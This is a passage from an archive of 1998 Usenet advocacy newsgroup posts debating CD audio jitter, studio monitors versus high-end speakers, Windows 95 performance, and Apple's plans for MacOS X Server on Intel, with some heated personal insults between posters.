>> signal was not reclocked correctly. _If_ a timing change were to occur, it would
>> be because the extra ambient light delayed a transition from bright to dark
>> slightly, or made a dark to light transition happen a little earlier than it
>> should.
>
>If I'm not mistaken, all CD players ( even the earliest ) had a small buffer for
>the data that came off the disk. Because of this, the speed of the disk itself,
>did not have to be as tightly controlled. More importantly, since the data on the
>disk is spread out ( for better error detection and correction ) the buffer is needed
>to correct the data stream.
Absolutely-- the CD audio format splits the data into blocks of 128 16-bit samples per
channe; (IIRC), and that gets converted into 280-odd bits of Reed-Solomon ECC data, which
is interleaved so that even a significant problem like a scratch would effect many
samples but only one bit per sample-- which can be fully corrected.
> From the main electronics, the data stream is clocked out by the master clock to
> the DAC. On some systems ( external DACs ), the DAC receives its own clock from
> the data stream ( PLL ) which is used to clock out the data.
Right.
> So if the DAC is working correctly, and the data has no errors
> the amplitude of the signal will be correct.
*If* the data is being fed in at precisely the correct time intervals, and *if* the
reconstruction filter after the DAC is perfect. Those are two big assumptions....
> If the clock driving the DAC has jitter, the DAC output would have jitter, BUT it
> would most likely be greatly reduced because ofthe PLL averaging if the clock signal.
> This may very from DAC to DAC. NOTE: this jitter is from the main electronics and
> has nothing to do with reading of the disk.
Supposed to, yeah. Much the same way a disk wobbling while spinning in the transport
assembly is supposed to not have any effect on the rest of the electronics. Good
engineering involves recognizing the distinction between theory and practice.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 19 Aug 1998 14:55:07 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6rep0b$bge$1@walter.cs.umd.edu>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <joe.ragosta-1908980753220001@wil70.dol.net>
NNTP-Posting-User: seanl
In article <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
>In article <6racqh$its$2@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke)
>wrote:
>
>>Most studios have two pairs of speakers: big huge ones in the back that
>>boom a lot and impress the bigwigs when they want to hear what they paid
>>for, and small, almost consumer-grade, near field studio monitors that are
>>still reasonably flat but are closer to their intended audience. These
>>monitors cost between $250 and $1000, depending on the model. The most
>>common are Yamaha NS10s (but getting up in age now), but there are tons of
>>JBLs, Tascams, etc. out there. If you want to hear sound as the engineers
>>had arranged it, that's what you buy. It's what *they* used to define the
>>sound to begin with. And I guarantee you'll hate it -- not "interesting
>>enough". All $10,000 speakers _really_ do is distort the high and low end
>>frequency levels to make the sound sound more "exciting".
>
>Bull***. All speakers are flawed. Cheap ones sound like speakers. Expensive
>ones sound like music. To the extent that they sound like music, and in which
>areas of reproduction determine their price point and audience. You listen to
>a pair of Magnaplanar MG-20's ($9000/pr) or a pair of Wilson Audio Watt/
>Puppy's ($12000/pr) with the proper electronics and tell me that they are
>just distorting things to make them sound more exciting.
Thanks, but I too have listened to rather the high end in speakers. The
consumer high end in everything from anechoic chambers to what I call the
'audiophile cannonical listening room' (at least 20x20, mechanically
coupled wood floors, cathredal ceilings , mood track lighting :-). And
custom professional rigs designed specifically for the acoustics of
specific chambers. And they sound amazing. The bass is rich and tight,
the high end is crisp, there's never any amplitude distortion, and the
chorusing and adjacent frequency effects are low. Music just jumps out at
you.
It's also entirely artificial. The high and low end are both carefully
emphasized, the subaural (<50Hz) low end is included, and with the right
electronics, specific mid-range frequency elements are brought to the fore
depending on the music, and filtering provides great spatial body. The
resultant psychoacoustical effect is very interesting. It is all
this...let's be nice and call it 'sound adjustment'...that provides the
large bulk of the "more real than real" listening experience with
expensive rigs. You like to think that you finally hear "the music" on
one of these. But the truth is that the music performed in real life
never sounded so impressive. It's like turning the contrast up on a TV.
Real life doesn't actually have such rich colors.
George, there's no getting around a simple fact: engineers didn't mix the
sound on Magnaplanars. Good postproduction was done mostly likely on
pseudo-consumer grade (JBL, Yamaha NS10, etc.) near-field monitors, in a
low-reverberant, low-noise setting (what the control room shoots for),
and accompanied by headphones. These speakers and headphones have
enormous flaws, but they are _the_sound_generation_system_ that the
engineers tuned their mixes to. If you want to hear the sound as it was
mixed, you buy the speakers it was mixed for, and try to replicate the
environment it was mixed in. And I guarantee you won't like what you hear
(flat, with an unimpressive bass and few ambient spatial effects). But
that's what the *real* sound is.
That being said, I feel the psychoacoustics myself. I own (among other
things) studio near-field monitors, and let me tell you, I'd take
Magnaplanars any day.
Sean Luke
seanl@cs.umd.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
Content-Type: text/plain; charset=us-ascii
Message-ID: <Exxz9J.8uE@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: sal@panix.com
Organization: none
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com>
<Ex9uJH.ry@T-FCN.Net> <SCOTT.98Aug7113105@slave.doubleu.com>
<35D30D17.B1021347@prim.demon.co.uk> <SCOTT.98Aug13093854@slave.doubleu.com>
<ExorxB.4nx@T-FCN.Net> <SCOTT.98Aug14103710@slave.doubleu.com>
<6ralul$1fs@news1.panix.com> <ExwJFK.MJx@T-FCN.Net>
<6rdmod$drt@news1.panix.com>
Mime-Version: 1.0
Date: Wed, 19 Aug 1998 15:05:42 GMT
In <6rdmod$drt@news1.panix.com> Sal Denaro wrote:
> My take on it is that Linux was made to be used, the HURD is being built
just
> to see what happens when you build it. I don't think that anyone expects it
> to be all that useful in the short term. But; when it comes to radical, the
> HURD pegs the needle on the geekometer...
Oddly this was not the original plan. At the time the FSF was "the" free
software people and the HURD was supposed to evolve into *the* free
Unix-a-like. However the software development process was opened to only a
few people, and Linux drew the rest of the developers.
Maury
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 19 Aug 1998 15:10:01 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6reps9$pd9@newsb.netnews.att.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$f <6rdmoc$drt@news1.panix.com>
Originator: gupta@tlctest
Sal Denaro <sal@panix.com> wrote:
><zen>
>You are both wrong. You are both right.
></zen>
>
>Win95 (and '98) has PMT if (and only if) no 16bit code is running. There
>is still some 16 bit crud left over in GDI.exe and USER.exe and when an
>App calls something that maps to one of those APIs, the system looses PMT.
>If you are running even one 16bit App, or any real mode driver, you lose
>PMT.
Here is the situation, your comments :
Microsoft's Office 97 comes with a program called "findfast.exe".
According to Microsoft's help files, "Find Fast builds indexes to
speed up finding documents from the Open dialog box in Microsoft
Office programs and from Microsoft Outlook...When Find Fast is installed
with Office, it automatically creates an index on each local drive of
your computer for all your Office documents. ...Once created, an index
is automatically updated so you don't need to do anything to take advantage
of faster searching."
findfast.exe appears to periodically kick off and read the hard drive.
My Compaq Deskpro 2000, Pentium 166, 32 MB of RAM, EIDE drive,
Windows 95, Service Pack 1, has Office 97 with Microsoft Office Find Fast
Version 8.0 installed. When findfast.exe starts, the machine response
becomes extremely slow; it can be a few seconds, for example, before a
click on the "Start" button shows a response. (Ctrl-Del-Alt whenever
the machine is that slow shows (eventually) that findfast is running).
Now, tell me : is this PMT, or is this a 16-bit application, or is a
real mode drive being called ? This is a Microsoft program -- are they
breaking their own rules, not writing 32-bit code, or what ?
( I've read Nicholas Petreley's complaints, and Infoworld Forum readers'
complaints about findfast on NT boxes as well. )
Windows 95's PMT is quite useless. There is no ifs or buts about it.
-arun gupta
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 10:37:45 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-1908981037450001@castle.webis.net>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com>
NNTP-Posting-Date: 19 Aug 1998 15:37:14 GMT
Hitler Nazi.
Can we stop this thread or just take to another newsgroup? Its really annoying.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: Gordon Mulcaster <see@my.sig.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 98 17:59:34 -0800
Organization: Megadodo Publishing, Megadodo House, Ursa Minor
Distribution: world
Message-ID: <980818175812-see@my.sig.com>
References: <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <6r9cu3$n76@fridge.shore.net>
In article <6r9cu3$n76@fridge.shore.net> of groups
alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys
next.advocacy,comp.sys.mac.hardware.misc, "William Frisbee" writes:
> AutoCAD, 3d Studio Max and SoftImage are all I use.
If you don't want to consider using Mac programs that are as good or
better, there's no help for you...
> Ok... lets see all I care about really is rendering speed and OpenGL
> (sometimes DirectX (sorry guys)) preformace.
So why aren't you using SGIs?
--
... of course that's just my opinion. I could be wrong."
-- Dennis Miller
gordonm(at)portal.ca
From: Gordon Mulcaster <see@my.sig.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 98 18:05:59 -0800
Organization: Megadodo Publishing, Megadodo House, Ursa Minor
Distribution: world
Message-ID: <980818180328-see@my.sig.com>
References: <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <6ra2ld$3ag@fridge.shore.net>
In article <6ra2ld$3ag@fridge.shore.net> of groups
alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys
next.advocacy,comp.sys.mac.hardware.misc, "William Frisbee" writes:
> And watch what happens when those thousands in a few months are stuck
> with a non-upgradeable blue piece of plastic that STILL cannot read
> a floppy disk untill you go out and buy a add-on....
Sorry, they are too busy enjoying using their iMacs to worry about such
non-issues. That and wondering what their WinTel owning friends are
talking about then they get together at parties and swap stories about
Registry problems and having to reformat their drives and reinstall
everything to get it to work again after junior installed a game...
--
... of course that's just my opinion. I could be wrong."
-- Dennis Miller
gordonm(at)portal.ca
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Date: 19 Aug 1998 15:00:20 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6repa4$bge$2@walter.cs.umd.edu>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz>
NNTP-Posting-User: seanl
Peter Kerr (p.kerr@auckland.ac.nz) wrote:
: gmgraves@slip.net (George Graves) wrote:
: >To the extent that they sound like music, and in which
: >areas of reproduction determine their price point and audience. You listen to
: >a pair of Magnaplanar MG-20's ($9000/pr) or a pair of Wilson Audio Watt/
: >Puppy's ($12000/pr) with the proper electronics and tell me that they are
: >just distorting things to make them sound more exciting. You shouldn't make
: >judgements about things you know don't know anything about.
: Many of the expensive speakers have to deal with the crap acoustic
: environment in which they are installed, and distort the signal to make a
: better sound.
: A well designed mastering studio can achieve a high quality of sound with
: surprisingly inexpensive and simple monitors.
If one is defining "quality" as "accurate reproduction", you're totally
correct. But I suspect George defines "quality" as "great listening
experience" (which is perfectly valid I guess). The engineer in me
pushes for reproduction accuracy, but that doesn't always result in
"amazing sound" psychoacoustically.
: Sean (probably ;-) and I have put the discs into the boxes, and we know
: how easy it is to fool the punters...
Yes indeed.
Sean Luke
seanl@cs.umd.edu
From: rdieter@math.unl.edu (Rex Dieter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 19 Aug 1998 13:20:29 GMT
Organization: University of Nebraska-Lincoln
Message-ID: <6rejet$mmq$1@unlnews.unl.edu>
References: <6rdmoe$drt@news1.panix.com>
In article <6rdmoe$drt@news1.panix.com> sal@panix.com (Sal Denaro) writes:
> I've talked to Apple people and I get the impression that they do not
> expect MacOSX Server for PCs to sell all that well. They cite the fact
> that it will not be able to run any legacy Apps as the major stumbling
> block.
I disagree. IMHO, the major stumbling block is the fact that Apple has
said that PC support is dead and gone after the first release of Rhapsody
1.0, aka MacOS X Server. Why buy a dead-end product?
> I am very sure that MacOSX (and Carbon for that matter) will run on Intel
> machines. Just don't expect Apple to sell it unless they can make money
> on it.
I'd love to see MacOSX available for Intel, but until Apple SAYS it will do
it, I (and many, many others) won't touch it with a ten-foot pole.
--
Rex A. Dieter rdieter@math.unl.edu (NeXT/MIME OK)
Computer System Manager http://www.math.unl.edu/~rdieter/
Mathematics and Statistics
University of Nebraska-Lincoln
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Date: Wed, 19 Aug 1998 14:00:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6relqf$dr4$1@nnrp1.dejanews.com>
References: <6rd076$dc1$1@leol.net-link.net>
"DarkMerlin(JB)" <amazon@net-link.net> wrote:
> For those of you who are experienced in NeXT Openstep programming and
> Rhapsody/MacOSX server Openstep programming what do you think of the
> changes that have been made. Is it better? Is something missing that you
> really liked? Is there much change at all? Please include you're opinions
> on MacOS programming and straight NeXT programming. I'm interested if this
> has any effect on your point of view.
Your subject line also asked the opinion of users, so here's one: From all
I've seen and heard, most of the advantages of NeXTSTEP/OPENSTEP will be
there in MacOS X (server and non-server), and no doubt there are many
improvements under the skin.
The biggest changes are in the UI; here from what I've seen, I think the
changes are, on balance, a net DEGRADATION of what NeXTSTEP offered (I say
this as both a NeXTSTEP and Mac user). Not so much worse that it offsets the
advantages of running what is essentially OPENSTEP on much faster hardware,
but still so much less than it could be. What saddens me in the UI debate is
that it ought to have been relatively straightforward to design MacOS X so
that it offers users a choice between NeXTSTEP-style and Mac-style UIs. Why
this opportunity was missed (even though it meant more work to essentially
rip out NeXTisms) is beyond me.
The other big change is the loss (in MacOS X) of DPS. I understand the reasons
for this. I'm not yet convinced that what we'll be getting will be an
improvement over DPS.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Wed, 19 Aug 1998 09:41:46 -0500
Organization: Ericsson North America Inc.
Message-ID: <35DAE429.F37495C2@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com> <6rdmof$drt@news1.panix.com>
Mime-Version: 1.0
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Sal Denaro wrote:
[cloning rehash: It Didn't Work, So There]
> >Funny how you speak for Apple.
>
> An Apple product manager made it pretty clear that MacOSX would run on
> Intel and that Apple would
There's proof for you. An equivocal statement from the rumor mill. It's
so certain I wonder why we haven't yet heard it from Scott Anguish's
Secret Voic^H^H^H^HSources.
> >Is that right? I keep hearing it in this newsgroup. Funny how I've never
> >encountered this ideology anywhere in the business world...
>
> Walk over to the marketing department of any major company and ask them.
Hm, righty-ho.
> >Intel announced Merced several months ago but the chip is not expected
> >to ship until mid-2000.
>
> The've commited to it and are ready to sign people on to develop it.
> I am good friends with Intel spokesman Manny Vara.
Oh, okay. What kind of "good friends"? Do you play golf and such?
Weekend barbecues, the like?
> I am pretty sure that
> if I asked him about MMX2, Embeded Strongarm, the i740pro or Intel's plans
> for Firewire he would say "we have no comment right now"
So ask him, for God's sake! You're good friends, I'd like to know what
he has to say, if you don't mind.
> >But all of these companies are run by idiots, of course. They seem to
> >think it's profitable in and of itself for customers to be aware of
> >their plans, but they just don't realize it's costing them.
>
> How much would it cost them if they commit to something and then have
> to back out of it? Remember Copland? OS/2 PPC? Osbourne?
"Have to back out of it"? I think that's the source of your difficulty.
> I've been working in the financial industry for over five years. I've
> beaten the S&P the past three years, last year by almost 12%.
Yeah, and the local high school kids did the same thing in a summer
school stock market class. I'm very impressed, but doesn't the
newspaper's random pick usually beat the S&P? Just being conversational.
This is a very conversational thread.
> I guess those are the only questions you are qualified to ask.
Ba-dump-bump. Sal Denaro, comic relief.
> It makes no sense to "just ship it"
>
> I would rather Apple build a real marketing plan for it, ship it on its
> own hardware and provide sales support for it. I would hate for Apple to
> ship a product that isn't done, and possibly damage that product's
> reputation.
>
> This is like saying that the KDE folks should ship a finished KDE and
> KOffice tomorrow.
Yikes. Go to http://www.kde.org and download your copy of KDE 1.0 today.
> They can't, because it isn't done yet. When it is done,
> the'll ship it. How can you not understand this?
[laugh] "We'll ship it when it's done." Hey, no skin off my back. What
do I care if nobody's waiting around for this magical appearance.
Estupido! Copland was going to ship "when it's done"! How can YOU not
understand this?
> I can't believe ericsson and HP would hire a moron like you.
Oh, now this is just signature Sal Denaro. Please, lackwit, call me
"Peckerhead" again.
> Do you demand
> that Ericsson ship hand held video phones tomorrow? Anti gravity shoes?
Maybe. But I'm told our competition isn't there yet, so we have some
room to breathe. When we have the worst products in the industry I'll be
nervous but Ericsson isn't quite to that point. Apple is, unfortunately.
> Quicktime is a major asset to Apple. It does a lot more to the bottom line
> than YellowBox for Irix would. Now if Apple traded QuickTime and YB for
> OpenGL, that would make sense. It would probably be beneficial to both
> companies.
[laugh]
> Porting for the sake of porting, with not attention to a business plan is
> pure stupidity.
Yes, it is.
> No wonder you are a libertarian, you don't have to foggiest notion on how
> basic economic models deal with scarcity.
Scarcity? I'm from Texas, lackwit.
[Sal's Economics 101]
> WO can provide an interface to compiled C Apps. I see no reason why
> you couldn't do that and use WO to interface to it.
[sigh] Our product runs on multiple nodes, providing shared memory,
network sockets, process management, a health monitor, full failover
capabilities, a logging mechanism, file transfer, alarm handling, etc.
By definition WO is...[cough]...not appropriate.
[yum, WebObjects]
> I am aware of a WO system that runs on Sun hardware and takes in live
> data from a custom DA running on NT and uses it to provide real time
> information of market activity.
Databases are fun, but there's really a lot more to an enterprise-level
network than live news feeds.
[cut]
> >heard that Microsoft was committing to MacOS X. I think they'll ship
> >MSIE, but have they said anything about Visual development, Office, or
>
> You can expect much of the software that runs on MacOS to be ported to
> Carbon for MacOSX.
>
> This is old news.
You said something about "committment", yes, I'm sure that was the word
in use. Now you tell me what I can "expect"? Slinky...
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Solaris is"Free"
Newsgroups: comp.sys.next.advocacy
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <6rc5gp$gci$1@nnrp02.primenet.com> <6rdmoe$drt@news1.panix.com>
Message-ID: <35daedd9.0@news.depaul.edu>
Date: 19 Aug 98 15:23:05 GMT
Sal Denaro <sal@panix.com> wrote:
> I've talked to Apple people and I get the impression that they do not
> expect MacOSX Server for PCs to sell all that well. They cite the fact
> that it will not be able to run any legacy Apps as the major stumbling
> block.
There are some very expensive, very valuable legacy applications
that will run on it. Namely, custom apps that are now running on
OpenStep. Apple's disowning of Mach/Intel is a significant incentive
for customers to not rely on Apple in the future.
If they're worried about commonly used commercial apps, they should be
talking to Insignia and Connectix instead of just giving up.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 19 Aug 1998 14:59:05 GMT
Organization: Primenet (602)416-7000
Message-ID: <6rep7p$444$1@nnrp02.primenet.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com>
<slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <6rc5gp$gci$1@nnrp02.primenet.com> <6rdmoe$drt@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: On 18 Aug 1998 15:10:17 GMT, John Jensen <jjens@primenet.com> wrote:
: >My cynical view is that Apple understands this, and will price Rhapsody
: >for Intel at a point which will limit sales, and therefore limit their
: >obligation to Intel customers.
: I've talked to Apple people and I get the impression that they do not
: expect MacOSX Server for PCs to sell all that well. They cite the fact
: that it will not be able to run any legacy Apps as the major stumbling
: block.
I'm not sure I got my point across. I don't believe Apple wants MacOS
Server for Intel to sell well. I don't believe their actions to dampen
enthusiasm are accidental. If Apple wanted the _possibility_ of a
successful Intel product they would not have:
- maintained the same high price on *STEP OSes
- limited access to the OS to NDA'd developers
- clamped down all discussion of the OS by NDA
- declared the product a dead-end before ship
- declared the programming tools "in transition"
- made pricing information unavailable
As I stated in my previous post, I predict that Apple will continue this
trend and price MacOS Server for Intel at a point to limit sales. Having
low sales (what a surprise), Apple will declare that they were right all
along, and there is not market support for MacOS Server on Intel.
John
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: docks in OSX
Message-ID: <1998081917154000.NAA04711@ladder01.news.aol.com>
Date: 19 Aug 1998 17:15:40 GMT
Organization: AOL http://www.aol.com
References: <6reenb$5pj$1@nnrp1.dejanews.com>
Hmm, interesting.
This begs the following, however:
How configurable is it? Can it be moved to different sides of the screen? How
easy is it to set up launch/hide on startup?
I'm guessing the icons can be animated--can anyone confirm this? Are there
guidelines on this from a UI or programming standpoint?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Wed, 19 Aug 1998 10:15:50 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981015510001@sf-usr1-40-168.dialup.slip.net>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz> <6repa4$bge$2@walter.cs.umd.edu>
In article <6repa4$bge$2@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
> Peter Kerr (p.kerr@auckland.ac.nz) wrote:
> : gmgraves@slip.net (George Graves) wrote:
>
> : >To the extent that they sound like music, and in which
> : >areas of reproduction determine their price point and audience. You
listen to
> : >a pair of Magnaplanar MG-20's ($9000/pr) or a pair of Wilson Audio Watt/
> : >Puppy's ($12000/pr) with the proper electronics and tell me that they are
> : >just distorting things to make them sound more exciting. You
shouldn't make
> : >judgements about things you know don't know anything about.
>
> : Many of the expensive speakers have to deal with the crap acoustic
> : environment in which they are installed, and distort the signal to make a
> : better sound.
>
> : A well designed mastering studio can achieve a high quality of sound with
> : surprisingly inexpensive and simple monitors.
>
> If one is defining "quality" as "accurate reproduction", you're totally
> correct. But I suspect George defines "quality" as "great listening
> experience" (which is perfectly valid I guess). The engineer in me
> pushes for reproduction accuracy, but that doesn't always result in
> "amazing sound" psychoacoustically.
I insist upon reproduction accuracy. I use real music to "recalibrate" my
ears at every possibly oppertunity. But I don't want recordings to sound
like they do at studios (bad) because I don't generally listen to music
recorded IN studios (not critically, anyway). I always get a laugh out of the
modern audio reviewers who use rock-and-roll performances to judge
audio equipment. These performances are totally artificial and electronic
and the music never existed in real space, yet they wax enthusiastically
about the imaging of the lead guitar. Hell, that lead guitar was probabaly
Frapped!
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 10:39:21 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981039210001@sf-usr1-40-168.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net> <tim-1808981644030001@jump-tnt-0044.customer.jump.net> <joe.ragosta-1908980807560001@wil70.dol.net> <tim-1908980821320001@jump-tnt-0176.customer.jump.net>
In article <tim-1908980821320001@jump-tnt-0176.customer.jump.net>,
tim@jumpnet.com (Tim Olson) wrote:
> I wrote:
>
> | > If you throw science and engineering away based upon what you *think* you
> | > hear (without any scientific method to back it up) you shouldn't consider
> | > yourself an engineer or scientist.
>
> In article <joe.ragosta-1908980807560001@wil70.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) replied:
>
> | Not true.
> |
> | I'm a scientist. While throwing science and engineering away isn't
> | appropriate, a long-standing tradition in science is observation. In fact,
> | observation as a part of the scientific principle goes back at least as
> | far as Aristotle.
>
> That doesn't contradict what I said: "... (without any scientific method
> to back it up)". Raw observation without scientific method guiding it is
> pretty useless.
And where did I say that I "threw away" science and engineering? Or where
I said that I didn't rely on scientific methodology to confirm that what I
*think* I hear is a real penomenon rather than just my imagination?
George Graves
>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Wed, 19 Aug 1998 11:01:35 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1908981101350001@sf-usr1-40-168.dialup.slip.net>
